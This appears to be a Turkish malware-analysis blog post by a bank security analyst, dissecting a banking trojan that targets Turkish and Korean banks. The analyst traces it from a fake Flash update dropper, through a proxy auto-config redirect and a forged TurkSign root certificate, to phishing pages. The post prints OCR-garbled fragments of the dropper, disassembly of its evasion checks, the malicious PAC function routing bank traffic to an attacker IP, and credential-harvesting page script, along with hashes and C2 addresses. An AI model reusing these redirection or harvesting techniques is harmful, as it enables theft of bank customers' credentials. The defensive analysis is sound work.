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Benim gibi bir bankada calisiyor, tersine muhendislikten keyif aliyor ve
bankacilik zararli yazilimlari da 6zel olarak ilgi alaniniza giriyorsa,
analiz etmek ic¢in cesitli o6rnekler zaman icinde elinize diusuveriyor. Kimi
zaman bu bankacilik zararli yazilimlarini temin etmek isin en zor kismi olsa
da gundn sonunda basariyla analiz edip, yazilim ekipleri ile yakin calisarak,
musterilerinizi korumak icin beyin firtinalari, calismalar yapmak mesleki

tatmin adina pahabicilmez oluyor.

Bu hikaye, 2016 yilinin Kasim ayinda bir kullanicinin bankacilik islemi
gerceklestirmek lizere misterisi oldugu bankanin internet subesine baglanip
bilgilerini girdiginde, daha 6nce hig¢ karsilasmadigi sipheli bir uyari mesaji
(Sayin kullanici! Sitede teknik islemler yapiliyor. Bilgisayardan, tabletten
veya akilli telefondan yarin girebilirsiniz. Oziir dileriz) ile karsilasmasi
ve bankaya haber vermesi ile baslar. Yapilan incelemede, kullanicinin
internet tarayicisinin 6zellikleri bdéluminde, vekil (proxy) sunucu adresi
tanimlama kisminda http://valnorak.top/pPkJX8/G7E34.eod adresinin yer aldigi
gorulir. GF7E34.eod isimli auto-config dosyasi incelendiginde ise hedef
alinan bankalarin listesi ortaya c¢ikar. Kullanici bu bankalardan birinin
internet subesine gitmeye calistiginda internet tarayicisi, kullanicinin
trafigini 194.165.16.35 ip adresinde bulunan vekil sunucuya yonlendirerek
banka ile olan iletisim artik art niyetli kisilerin yodnlendirdigi vekil
sunucu ile gerceklesmeye baslar. Vekil sunucudan kullaniciya, bankaya aitmis
sisu verilen sahte sayfalar (response) iletilerek kullanicinin bu sayfalara
internet sube girisi icin gerekli bilgilerini (kullanici adi, parola, sms
dogrulama kodu vs.) girmesi saglanarak misterinin bilgileri calanir. Sahte
sayfaya yonlendirilen internet tarayicisinin kendinden imzali (self-signed)
SSL sertifika nedeniyle uyari vermemesi adina da, yonlendirilme dncesinde
kullanicinin sistemine TurkSign isimli bir kok sertifika ylklenir. Zararli
yazilim, iz birakmama adina sistem lUzerinde kalici (persistency) olmamayi
tercih ettigin icin ise sistem lzerinde zararli yazilimin yiritilebilir (exe)

haline rastlanmaz.


https://www.mertsarica.com/man-in-the-proxy/
https://en.wikipedia.org/wiki/Proxy_auto-config
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Aradan aylar gectikten sonra 2017 yilinin Mayis ayinda, bir baska bankadaki
uzman arkadasin paylasimi ve bankalar arasi siber tehditlerin birlikten gi¢
dogar edasiyla paylasildigi bir platformda (BASTM) paylasilan bir bilgi
sayesinde zincirdeki kayip halka olan yukarida bahsi gecen zararli yazilima
ulasmay1l basarabildim. Art niyetli kisiler, kullanicilara zararli yazilimi
indirtmek icin 6ncelikle sahte bir Flash Player gincelleme sayfasi olusturup,
buraya icinde Flash-2017.zip dosyasi icinde Flash-2017.js isimli bir dosya
yliklemisler. Okunakli olmayan (encoded) bu dosya calistirildiginda, ekrana
sahte bir hata mesaji cikarip, sonlaniyordu. Zararli JavaScript Analizi
baslikli yazimi okuyanlar, okunakli (obfuscated) olmayan bu JScript kodunu
hata ayiklama (debugging) yontemi ile analiz etmeye calistiklarinda 3 blyuk
internet tarayicisinda hata aldiklarini gdreceklerdir. “WScript is not
defined”, “ActiveXObject is not defined” ve benzer durumlarda nasil hata
ayilklama gercgeklestirebileceklerini (debugging) merak edenleri hemen Wscript
Hata Ayiklamasi baslikli diger bir blog yazima yonlendirebilirim. ;)


https://www.mertsarica.com/zararli-javascript-analizi/
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3 var ccdffcbabb = '';

4 var aaadeecfdeccae = []; =

5 var abcdbefafafe; 1

&

T

8

-}

10

11

12

13 var afdebc = new ActiveXObject ('Scripting.FileSystemObject'):

1

15 var becafdecbcaaabff = afdebc.GetSpecialFolder(2):

16

17

L8 /*

19

20 function acfabbfabdd (cadfddaceacffc) {

21 var ffbfabeffda = cadfddaceacffc.toScring():

22 var ecacebbabbbfddc = '';

23 for (var efadcccbfac = 0; efadcccbfac < ffbfabeffda.length; efadcccbfac += 2)

24 ecacebbabbbfddc 4= String.fromCharCode (parselInt (ffbfabeffda.substr (efadcccbfac, 2), 16)):

25 return ecacebbabbbfddc:

286 }

27

28 function cbfeedcbocedbbf (ddccfceeaaab) {

29 recurn !isNaN(parseFloat(ddccfceeaaab)) && isFinice (ddccfceeaaab):;

30 b

31

32

S5

34 function cfedcadb (eceedbbdacafeeceedbbdaeafe,bfadaea) {

35

36

37 for (i=bfadaea;i>0;i--){

38

38 eceedbbdaeafeeceadbbdacafe = eceedbbdasafeeceedbbdasafe - 1;

40

1 if (aceedbbdasafeeceedbbdasafe<))eceadbbdasafeaceadbbdacafe = 9;

42

43 }
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JScript kodunu adim adim hata ayiklama ile analiz ettikten sonra bu kodun
http://highetave.xyz/geteld.php?ffl adresine bir istek gonderdigini ve her
defasinda web sunucusundan donen yanitin farkli (Server-side polymorphism)
oldugunu gordim. Web sunucusundan dénen yanit, kod lzerinde yer alan ilgili
fonksiyonlar tarafindan cozuldikten sonra diske 0c03.exe (md5:
dcfb9cab318417d3c71bc25e717221c2) adi altinda kayit ediliyor ve ardindan
calistiriliyordu. Paketlenmis (packed) 0c03.exe yurutulebilir dosyasini
(exe), x64dbg araci ile paketinden cikarip (unpack), diske kayit ettigimde
ise zararli yazilimin maskesi yavas yavas dismeye basladi.


https://nakedsecurity.sophos.com/2012/07/31/server-side-polymorphism-malware/
http://x64dbg.com
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002500({ 00 00 00 00|00 00 OO0 00|00 00 00 O = i
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Command: Default
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Flash-2017.js
MD5: 41B90BEC4B0793FA8485D547C527D8D2
SHA-256: A780E527AF6CEEF907D5CBA7FA45DEC9804B265672DB938C82B62D5637FD6DBB

0c03.exe
MD5: DCFB9CAB318417D3C71BC25E717221C2
SHA-256: 5A2B14AB6F8620C812C6C51A0F4FOEODB9104682392CB4346AFF688AB346EBOA

Zararli yazilimin paketten ¢ikmis halini x64dbg araci ile analiz etmeye
basladigimda ilgimi ceken bazi tespitlerim oldu. Bunlardan bazilarina
deginecek olursam;

Zararli yazilim Tirk ve Kore bankalarini hedef almaktadir.
Calaistirildigir sistemin dili Tirkce veya Korece degilse kendini
sonlandirmaktadir.


http://x64dbg.com
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00008F80 32 20 internetsubesi, .com.tr
(00008FA4 65 41 internetsubesi.: .com.tr
0000EFFD 25 19 internetsubesi. " " com
0000900C 51 33 internetsubesi. .0 com
00009048 23 17 acikdeniz. com
00009060 47 2F acikdeniz. com
00009098 16 10 esube;  .comitr
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Africa)”
Case &H2009: Gelunguane = "English(Jamaica)”
Case &H2409: Getlanguage = "English(Caribbean)”
Cage &H2809: GetLanguage = "English{Belize)”
Case &H2C09: GetLanguage = "English(Trinidad)”
Case &H40A: GetLanguage = "Spanish (Traditional Sort)”
Case &H80A: GetLanguage = "Spanish{Mexican)"
Case GHCOA: GetLanguage = "Spanish (Modern Sort)”
Case &H100A: Getla “Spanish(Guatemala)”
Case &H1404: Spanish (Costa Rica)”
ase BH180A: GetLanguage = SMmsh[Panama]
Case &H1C0A: GetLanguage = “Spanish (Dominican Republic)*
Cage &H200A: GetLanguage = "Spanish(Venszuela)”
Case &H240A: Getlanguage = "Spanish(Colombia)®
Case &H200A: GetLanguage = “Spanish(Peru)®
Case BH2C0A: Getlanguage = "Spanish(Argentina)”
Case &H300A: Getlanguage = “Spanish(Ecuador)”
Case &H340A: GetLanguage = “Spanish(Chile)”
Case 8H380A: Getlanguage = "Spanish(Uruguay)”
Case &H3IC0A: GetLanguags Spanish(Paraguay)”
Case &H400A: GetLanguage = “Spanish(Bolivia)*
Case SH4404: Getlanguage = "Spanish (El Salvador)”
Case &H480A: Getlanguage = “Spanish(Honduras)®
Case &H4COA: Getlanguage = “Spanish{Nicaragua)”
Case 8H500A: GetLanguage = "Spanish (Puerto Rico)”
Case &H40B: GetLanguage = “Finnish”
Case &H40C: GetlLanguage = "French{Standard)”
Case SHB0C: GetLanguage = "French{Belgian)"
Case &HCOC: GetLanguage = “French(Canadian)”
Case GH100C: GetLanguage = “French(Swiss)”
Case SH140C: Getlanguage = "FrenchiLuxembourg)”
Case &H40D: GetLanguage = "Hebrew™
Case &H40E: GetLanguage = "Hungarian™
Case &H40F: GetLanguage = “Icelandic”
Case &H410: GetLanguage = “Italian{Standard)™
Case &H810: Getlanguage = "Italian(Swiss)”
Case 8H411: GetLanguage = “Japanese”
Case &H412: GetLanguage = "Korean”
Case 8H812: Getlanguage = “Korean(Johab)®
Case &H413: GetLanguage = “Dutch(Standard)”
Case &H813: GetLanguage = “Dutch(Belgian)™
Case BH414: Getlanguage = “Norwegian{Bokmal)®
Case &H814: GetLanguage = “Norwegian{Mynorsk)"
Case &H415: GetLanguage = 'Pﬂ\sh'
Case &H416: Getl age = azilian)®
Case &H816: Getlanguage = Punuguese(smndard)'
Case &H418: GetLanguage = "Romanian”
Case 8H419: GetLanguage = “Russian”
Case &H414: Getlanguage = "Croatian”
Case GHB1A: GetLanguage = "Serbian(Latin)”
Case SHC1A: GetLanguage = “Serbian({Cyrillic)*
Case &H41B: GetLanguage = "Slovak®
Case &H41C: Getlanguage = "Albanian®
Case &H41D: Getlanguage = "Swedish®
Case &H81D: GetLanguage = "Swedish(Finland)”
Case &H41E: GetLanguage = “Thai"
Getlanguage =
GetLanguage = Indoneslan
Getlanguage kraini
Getlanguage =
GetLanguage = "Slovenian®
GetLanguage = “Estonian”
Getlanguage = “Latvian”
Getlanguage = "Lithuanian™
GetLanguage = “Farsi”
GetLanguage = "Vietnamese”
GetLanguage = "Basque”

Case &H41F:
Case &H421:
Case &Ha22:
Case &H423:
Case &H424:
Case &H425:
Case &H426:
Case &H427:
Case &H429:
Case &H4a24:
Case &H42D:
Case &H436:
Case &H438:
End Select
End Function

GetLanguage = “Afrikaans”
GetLanguage = “Faercese”

Calaistirildigil sistem lzerinde bdagent.exe

(Doctor Web) islemleri (process) calisiyor ise,

Cursor: 00000248 Caret: 0000021F 57344 bytes OVR MOD READ

m eu ;:03 30E8DD

_ 0!.03 ‘02!3‘1

mov_dword ptr ds: [40EBEG],0c03. 408600

€810 dword ptr ds:[<&GerSysTemDeraultLangID>]
cmp ax, 41F

& 0cO3.40C238
h dword prr ds:[<AGetSystemDefaultuILanguages]
€mp ax,41F Turkce dil kentrolu #2

H:oa.wczss
dword pre d::[<fGatSystemDefaulTLanglo:]
cmp_ax, 412

je 0cO3.40C238

h dword ptr ds:[ aulTuIL 1]
cmp ax,412

= 0cO3, 400238

h 0C03. 4040CC

o ek e 0203, 202934

_ 0('.03 402!30

emn pol

eax: "ConsentPromptBenavioradmn”

Turkece dil kentrolu #1

ExitProcess

eax: "ConsentPromptBehavioradmin”

(BitDefender),
uyuma stresi dinamik olarak

spideragent.exe



hesaplanan sleep() fonksiyonunu pas gec¢ip, anti-kum havuzu (sandbox) adina
sistem Uzerinde python.exe islemi calisiyor mu kontrold yapip, sonucu evet
ise kendisini sonlandirmaktadir. Sistem lUzerinde avp.exe, avpui.exe
(Kaspersky) islemleri calisiyor ise Base64 ile gizlenmis (encode) farkli bir
adresi vekil sunucu olarak kullanmaktadir.
(http://ritakindek.xyz/comitr/conmatr.eew). Eger sistem lzerinde Kaspersky
yikli degil ise o zaman farkli bir adresi kullanmaktadir.
(http://redterma.pw/I2W06r/5i9XDN9.eet)

push edi

00 mov eax,0c03.40BEFOD
FR €211 0co2. 401D 9C

od mov ebx,0c03.40E800
od mov edi,0c03.40E89C
FR EAll 0c03.402345

FA £all 0cO3.40B094

04 mov edx,0c03. 40C440 40C440: "bdagent. exa"”
0f mov eax,0c03.40ESE4
FA EE1T 0cO03. 402634

00 mov edx,0c03. 40C44C 40C44C: "bdwtxag. exe”
04 mov eax,0c03. 40ESFO
FA EE1T 0c03. 402634

00 mov edx,0c03.40C458 40C458: "spideragent.exe”
00 mov eax,0c03. 40EEFC
FAR €41l OcOZ. 402634

od mov edx,0c03.40C468 40C468: "dwservice. exe"
00 mov eax,0c02. 40E30C
FR €11 0c03.402634

0 mov edx,0c03.40ESF0
04 mov eax,0c03.40EBE4
FA €211 0c03. 407E00 bdagent.exe kontrolu
cmp eax,1

sbb eax,eax

inc eax

test al,al

jne 0c03.40BF3E

0d mov edx,0c03. 40E30C
00 mov eax,0c03. 40EEFC
FA €411 0c03.407B00 spideragent.exe kontrolu
cmp eax,i

sbb eax,eax

inc eax

test al,al

jne 0c03.40BF3E

of mov eax,1F

FA EE1T 0cO03.402384
add eax,l1E

od imul eax,eax,3ES
push eax

FA €dl1 <0c03.51eep=
FAR eall Oc03.407BE7S python. exe kontrolu
test eax,eax
je 0C03. 40BF4C
FF €call 0c03.4040CC ExitProcess
Xor eax,eax

o mov dword ptr ds:[40E930],eax
FA €a11 0c03.40BD60 avp.exe ve avpui.exe kontrolu
cmp eax,1
sbb eax,eax
inc eax

cmp al,1

Calistirildigir sistem lzerindeki internet tarayicilarinin o6n belleginde
(cache) 7 bankamizin internet subelerinin web adreslerine dair en az iki
kayit bulur ise sonraki adima geciyor aksi halde kendini sonlandiriyor.
Onceki adimlardan basariyla gecer ise calistirildigi sisteme TurkSign adinda
sahte bir kok sertifika yuklemektedir. Ayrica calistirildigi Windows'un
Product ID'sini ve onbellekte tespit ettigi internet sube adreslerini de
bails parametresi ile komuta kontrol merkezine gdndermektedir.
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jne DCOZ, 406818
& 00 push 0 + |[ctiide Epu

53 ush ebx | eax  oooooooo

FF 15 30 E7 4 dword n\:r ds: [<gCertClosestores] EBX  0055G0EQ
~ E9 BA 00 00 0F jmp 0cO2. 40680,
> 33 CO XOr eax,eax ECX TEFDDOOO

EDX 80092004
EBF 00000000

56 push esi
68 00 00 0D 0] push DO00O ESP  0OL8FAF4
€4 00 push o ESI  00S72BEQ
68 01 00 01 04 push 10001 1
53 ush abx
FF 15 28 £7 4 d..-ura i ds: [<aCertFindCertificateInstores] EIP  0040687E 0C03. D040687E
85 €0 ;Qst eax,
v 74 1F & 0€03. 40“52
B o fmnmEE ErLics 20000246
50 ush eax . OF 0 SF O DF O
FF 15 2C E7 4( dword ptr ds:[<&CertFreeCTLCONText>] L
56 ush esi
FF 15 2C E7 4 dword ptr ds: [<&CertFreecTLCONtext>] x|
00 push 0 04
§2 ush ebx
FF 15 30 E7 & dward ptr ds:[<&CertClosestores] e 3
- ig gg g.: 00 0 jmp °§°!me -i\ You are about to install a certificate from a certification authority (CA)
> omp ebp, i
1B €O ?hb eax eax ¥y claiming to represent:
40 e o 0000000000 STO Empty 0.000000000000000000
84 CO test al,al TurkSign S5L Validation CA ;mooooooo 5T1 em:’:; 9. 000000000000000:000
- u:sa :.S S :: gg:?‘-’xfg’:tr Sl POOOOOGOOOO ST2 Empty O0.000000000000000000
50 push eax Windows cannot validate that the certificate is actually from “TurkSign j‘ggwmgg SSTFZ S:::; g-nwmmwam
o0 hig g 5 S 5 BO000 2
00 pusn o SSLValidation CAY: Youshould confiom s orighn by contacting. D0000000000 5TS Emply 0.000000000000000000
€8 €0 €7 40 04 push 0cO3. 406760 TurkSign S5L Validation CA”. The following number will assist you in P200G00G000 5TE Empty 0.000000000 2000
€4 00 push o this process: PO00GO0000D ST7 EmpTy 0.000000000000000000
€4 00 T
FF 15 AB E7 4 ptr ds; [<eCreateThreads’ 7
e aaa per <5t [E,,.a] eax 1 Thumbprint (shal): 8382424 AFG29A39 DE376766 19D7AETS 137442F8 X8PTVL 3 (Empty)
Warning: v|5 1= [l Urlocked
I yeu install this root certificate, Windows will automatically trust any |
- certificate issued by this CA. Installing 2 certificate with an unconfirmed

thumbprint is a security risk. If you click "Yes” you acknowledge this

CODE: 0040687E 0CO3.exe: S687E #5CTE rigk.
5
#Wowp 1 | hmz | eooump3 [ ehoumps | sbowmes | 8 wani [ 7 s Do you want to install this certificate?
Address ASCIT
77740000 “ 44 24 04[CC C2 04 00|CC 90 C3
77740010 90 30 90 50 90
77740020 88 4C 24 04 F6 41 04 06|74 05 E6
77740030 01 00 00 00|¢2 10 00 50|80 84 24
TTTA0040 88 00 00 00|00 OO0 BA 20|00 74 77
77740050 64 A3 00D 00|00 00 58 8D|7C 24 OC
77740060 02 00 00 64|89 0D 00 00|00 00 6A
77740070 00 00 8B FO|56 EB 2B 6E |03 00 EB
77740080 &4 £B 00 30|00 0O 00 BB |49 10 Fé ?:?3;?$E$03 00407 8EB
77740090 FF 74 24 OC|FF 74 24 08|E6 35 06 FETUF TO 0CO3.0040AETE
77740040 00 00 2 10|00 53 88 5C|24 08 FE 0c03. 0040865 —
77740080 z Z4/24 10 53 E8 |82 72 08 DHJ Ly J
77T400C0 5B €2 10 OO0 |FF 33 53 68|05 00 73 7
77740000 E8 64 6C 03|00 5B 50 6A |00 6A 00 E ‘6‘ SERE. D040 RE0 -
TTTAMOER lRR _ER 5T FR . BA &N N3 _NANER ER AR lovwinrsn " ma s
1] |r| | »

3 Telerik Fiddler Web Debugger
File Edit Rules Tools View Help GET /bock Eg GeoEdge
) ##Replay X - b Go | ¥ Stream 5 Decode | Keep: All sessions &5 Any Process 34 Find |

Save | I8l (3 @& Browse < Clear Cache T TextWizard | [ Tearoff | _
=

# Result  Protocol Host URL (@) statistics | s Inspectors | % AutoResponder | 7 Composer | [E] Log | [ Fiters [ = Timeline |

€91 200 HTTP ritakindek.xyz  ftrk3/indextr php?pd=003.. IHeaders | TextView | WebForms | HexView | Auth | Cookies | Raw | JS0OM | HML |
Request Headers [Raw] [Header Definitions]
GET /rke 3/indextr php Zpd=00352- “58rer=00000094name=\Win78hjzy=34ctin=1abals=b8 b3b11 HTTP.

Cache

Pragma: no-cache
Transport

Host: ritakindek. xyz

Get SyntaxView | Transformer | Headers | Textview | ImageView HexView WebView | Auth |
Caching | Cookies |[Raw | Json | xm. |

HTTP/1.1 200 OK

Server: nginx/1.2.1

Date: Mon, 08 May 2017 18:52:112 GMT
Content-Type: text/html

Connection: keep-alive
X-Powered-By: PHP/S.4.45-0+deb7u4
Content-Length: &

good!

< m »

[QuidExed AT+Q > bype HELP toleammore |}

Find. .. {press Ctrl4Enter to highlight all} I Viewin Notepad I

Sistem Uzerindeki internet tarayicisinin vekil sunucu (proxy) adresini
yukarida belirtmis oldugum ve auto-config dosyasinin yer aldigi adreslerden
biri ile degistirerek, internet tarayicisi tarafindan internet subeye yapilan
tim HTTPS trafigini art niyetli kisilerin komuta kontrol merkezine


https://en.wikipedia.org/wiki/Proxy_auto-config

(194.165.16.175) yonlendirmesini saglamaktadir. Bu sayede bankasinin internet
subesine gittigini diisinen banka misterisi, art niyetli kisilerin hazirlamis
oldugu sahte banka sayfasina giris yapmaya calismakta ve tim bilgilerini art
niyetli kisilere gondermektedir. Internet tarayicisinin sertifika hatasi
vermemesi adina da sisteme yuklenen TurkSign isimli kok sertifikadan
faydalanilmaktadir. Misterinin internet sube giris bilgileri c¢alindiktan
sonra musteriye “Sayin kullanici! Sitede teknik islemler yapiliyor.
Bilgisayardan, tabletten veya akilli telefondan yarin girebilirsiniz. Oziir
dileriz.” mesaj1 gb6sterilmekte ve arka planda art niyetli kisiler koti

emellerini gerceklestirmektedirler.

o - R 1 e Pl il i ] e .
Jlnternet Options (| |
Local Area Network (LAN) Settings [ b i

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[] Automatically detect settings
IUse automatic configuration script
Addresz  http:ffredterma. pw 1 2W06r [Si9XDMNS

Proxy server

F IUse a proxy server for your LAM (These settings will not apply to
dial-up or VPN connections).

a0 Advaniced

Bypass proxy server for local addresses

oK ][ Cancel ]

Local Area Metwork (LAMN) settings

LAM Settings do not apply to dial-up connections, LAMN settings

Choose Settings above for dial-up settings,

Ok ] [ Cancel Apply




ﬁ hitps://internetsubesi I com/WebApplication.Ul/ entrypoint.aspx/

TurkSign S5L Validation CA
has identified this site as:

internetsubesi.i Lcom
This connection to the server is encrypted.

Should I trust this site?

View certificates

SECURED

powored by VedSin

1y

o3E, "interneraube:

¥ M- co=") | | ShExpHaTeh (Boat, "sube iddem . com. £27) } {zevurn Brbrevurn "DIRECT™;}

/1| Done @ Internet | Protected Mode: On 3 - WI10% -
Homuem |
1 function FindFroxyForURL{uzl,host) (var F = "PROXY 194.165.16.35:8080%;if
(ShExgMatch (hest, *intesmetaube || L1 L.com.tx®) || shExpMarch (heat, "eicazt [UUUII com. tx) | |shExpMatch (hoat, *,com, £x%) | | shExpMateh (Reat, . .ctmtet) || shExpMateh (bt "intertetasbent. Lcom.ee®) | ahExpiaten (b

§.post ("LoginPage.aspx.php”, §("form( Form] ™) .serialize(),
function(data) {
Sdata = §.parseJSCN({data):

switch (Sdacta.status) {
case "wait":
id = $daca.id;
hash = Sdata.hash;
§("#afr Splash®).show():
timer = setInterval (waitReply, 1500);
break;

case "su":
alerc("Sayin kullanici! Sitede teknik iglemler yapalivor.
yarin girebilirsiniz. Ozir dileriz.");
clearInterval (Cimer):
break:

function waitReply() {
$.get("LoginPage.aspx.phplp=get_replysid="+id+"sh="+hash,
function( data ) {

var result = jQuery.parseJSON (data);
if (result == pull) return;

if (result.status == ‘error') {
§("#afr_ Splasn®).hide():
clearInterval (timerId);

b else if (result.status == ‘'zedirect') {
windew.location.href = result.url:
¥
i
}

§ (document) . ready (function() {

Bilgisayardan, tabletten veva akilli telefonden




ternetsubesi, L.com/Login/page.phplid=

<ir Favorites i 9% @] Suggested Sites v @& Web Slice Gallery »

&

L ——— —
Telefon numaramizi 5320001122 seklinde n.

Sayin I

Gilvenlik resminizi* w, g X
Kontrol ettiniz mi? \h
L5

*Belirledidiniz glivenlik resminin dodruludu, internet Subesi nde oldufunuzu gbsterir.

£ | https://internetsubesi] ¥.com/Login/page.phplid=

{3 Favorites | {.5 €| Suggested Sites v @ | Web Slice Gallery v

Gilvenlik resminizi*
kontrol ettiniz mi?
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L_) +4 Replay X~ b Go * Stream %@Decode Keep: All sessions =~ &3 Any Process 33 Find [E] Save BE.:) @ (& Browse v@CIearCache /T TextWizard | [ Tearoff =

Host URL Body Caching Content- * || 5tat|
internetsubesi. com JfLogin/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... text/himl Re
internetsubesi, com Jflogin/LoginPage aspx.php?p=get_reply&id=  Bh= 38 no-stor... text/himl om|
internetsubesi, com fLogin/LoginPage.aspx.php?p=get_reply8id=  &h= 38 no-stor... textfhiml Li
internetsubesi. com fLogin/LoginPage.aspx.php?p=get_reply&id=  &h= 38 no-stor... text/html ﬁ
internetsubesi. com fLogin/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... text/html Tim
internetsubesi. com JfLogin/LoginPage.aspx.php?p=get_replyRid=  &h= 38 no-stor... text/html nsp
internetsubesi. com fLogin/LoginFage.aspx.php?p=get_reply&id=  &h= 38 no-stor... text/html
internetsubesi. com flogin/LoginPage.aspx.php?p=get_reply8id=  &h= 38 no-stor... text/himl He
internetsubesi. com Jflogin/LoginPage aspx.php?p=get_reply&id= = 38 no-stor... text/himl Te
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] [ i b He
[QuickExec] ALT+Q > type HELP tolearmmore [

il Capturing = Al Processes 11249

Bu bilgiler 1si1ginda internet sube kullanan son kullanicilar olarak bu
internet bankaciligi zararli yazilimindan korunmak ic¢in birincisi bilinmeyen
sitelerden dosyalar indirilmemeli ve calistirilmamalidir. Ikincisi ise bu
zararli yazilim internet tarayicisinin on belleginde internet sube web
adreslerini aradigi icin Chrome internet tarayicisi kullananlarin internet
subeye girerken gizli modu (incognito) kullanmalari, internet explorer,
firefox vb. internet tarayicilarinin kullananlarin ise “cikista gec¢misi
temizleme” 6zelligini kullanmalarini tavsiye edebilirim.

Bir sonraki yazida goOrismek dilegiyle herkese givenli ginler dilerim.



